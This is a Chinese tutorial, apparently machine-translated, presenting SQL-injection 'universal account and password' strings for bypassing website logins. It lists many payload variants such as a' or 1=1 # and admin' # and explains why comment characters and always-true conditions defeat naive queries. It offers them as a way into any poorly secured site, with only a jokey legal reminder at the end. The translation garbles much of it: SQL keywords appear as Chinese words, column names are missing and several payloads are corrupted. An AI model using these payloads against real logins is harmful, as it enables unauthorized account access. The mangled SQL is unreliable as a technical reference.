我们平时登录账户的时候,如果是第一次,系统会提示我们注册一个账户,并将我们注册的账户和密码保存在数据库中。 当我们再次登录时,系统会将我们输入的账号和密码与数据库中的数据进行匹配,实现功能登录。 这意味着我们需要知道一个注册的、正确的账号和密码才能登录。那么如果我不小心忘记了账号或密码,或者根本不知道账号和密码,有什么办法可以登录呢? 答案是肯定的,那就是【通用账号密码】 通用账号密码是指【通用账号】和【通用密码】。 顾名思义,就是一个可以【登录任意网站】的账号和密码
1、通用账户 当我们不知道用户的账户,也不知道用户的密码时,我们可以使用通用账户。 万能账户并不是真正意义上的账户,它是一种【不同变体的格式】。 需要注意的是,下面所有通用账户中的a可以是自定义数字或字母,如1、2、3、b、c、d
【数字万能账户】
a 或 true #
一个或 1 #
一个或1=1#
a 或 true -- a
一个或 1 -- 一个
a 或 1=1 -- a
【单引号字符型通用密码】
a' 或 true #
一个'或1#
a' 或 1=1 #
a' 或 true --a
a' 或 1 -- a
a' 或 1=1 -- a
【双引号字符型通用密码】
a”或 true #
一个”或 1 #
a" 或 1=1 #
a" 或 true -- a
a" 或 1 -- a
a" 或 1=1 -- a
1.1 通用账户的使用
2.通用密码
当我们知道用户的账号但不知道用户的密码时,可以使用通用密码。 通用密码并不是真正的密码,而是一种【不同变体的格式】。 需要注意的是:通用密码admin,必须是真实用户名
【数字通用密码】
行政 #
管理员--a
【单引号字符串类型通用密码】
行政' #
管理员'--a
【双引号字符串类型通用密码】
行政” #
管理员”——一个
2.1 通用密码的使用
3、通用账号密码原理分析
对于一个缺乏网络安全意识的网站来说,其登录功能的SQL语句可能是这样的:
* 来自用户,其中 ='user' 和 ='pass'
1、通用账户原理
当我们在登录界面输入【通用账号】如a'或者true#时,后端会将我们输入的参数拼接成SQL,然后在数据库中查询账号和密码。 SQL语句大概如下
* 来自用户 where ='a' 或 true #' and ='pass'
由于#是SQL中的注释符,注释符后面的内容没有任何作用,所以实际执行的SQL语句大概如下
* 来自用户 where ='a' 或 true
或者true会让SQL语句始终为true,从而查询数据库中的所有账号和密码,让我们成功登录。
1.1 评论
除了#之外,--也是SQL中的注释字符,但是SQL的语法格式规定--并且后面的注释内容必须用空格分隔,所以需要用a'或者1 --a代替of a' or 1 -- 原理和a' or 1 #类似,拼接成SQL大概如下
* 来自用户 where ='a' 或 true -- a' and ='pass'
评论后的内容不生效。 实际执行的SQL大概如下:
* 来自用户 where ='a' 或 true
SQL语句始终成立,因此登录成功。
也就是说,a' or true -- a经过SQL转换后,结果就相当于a' or true #
1.2 比较运算符
SQL规定非类型数据参与比较运算时,会转为类型再参与运算。例如or 1 or or 1=1会转为 true再参与比较or 的运算,即会变为 or 为真。 这样也可以使条件始终为真,从而登录成功。
简单来说:a' or 1 # or a' or 1=1 # 相当于a' or true #
2、通用密码原理
当我们在登录界面输入【通用密码】如admin'时,后端会将我们输入的参数拼接成SQL,大概如下
* 来自用户 where ='admin' #' and ='pass'
由于#是SQL中的注释符,注释符后面的内容没有任何作用,所以实际执行的SQL大概如下
* 来自用户 where ='admin'
SQL只会查询数据库中的用户名,而不会同时查询用户名和密码。 这意味着只要用户名正确,就可以登录成功。
3.1 评论
除了#之外,--也是SQL中的注释字符。 SQL的语法格式规定--后面必须跟一个空格来分隔后面的注释内容,所以--需要写成--a,后面的a可以是任意数字或字母。
一个简单的传入消息是 admin' - a 相当于 admin' #
总结 【通用账号密码】适合网络安全意识较差的网站。 如果找到可以使用的网站,请不要继续下一步。 动脑子的同学,心里默念三遍:【我国有一套完整的、历史悠久的法律】
来源:////